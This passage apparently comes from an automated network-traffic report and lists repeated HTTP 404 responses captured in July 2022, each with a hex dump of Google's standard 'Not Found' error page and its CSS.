74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:08 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:10 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:12 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:13 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:15 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1575Date: Sat, 16 Jul 2022 21:58:16 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 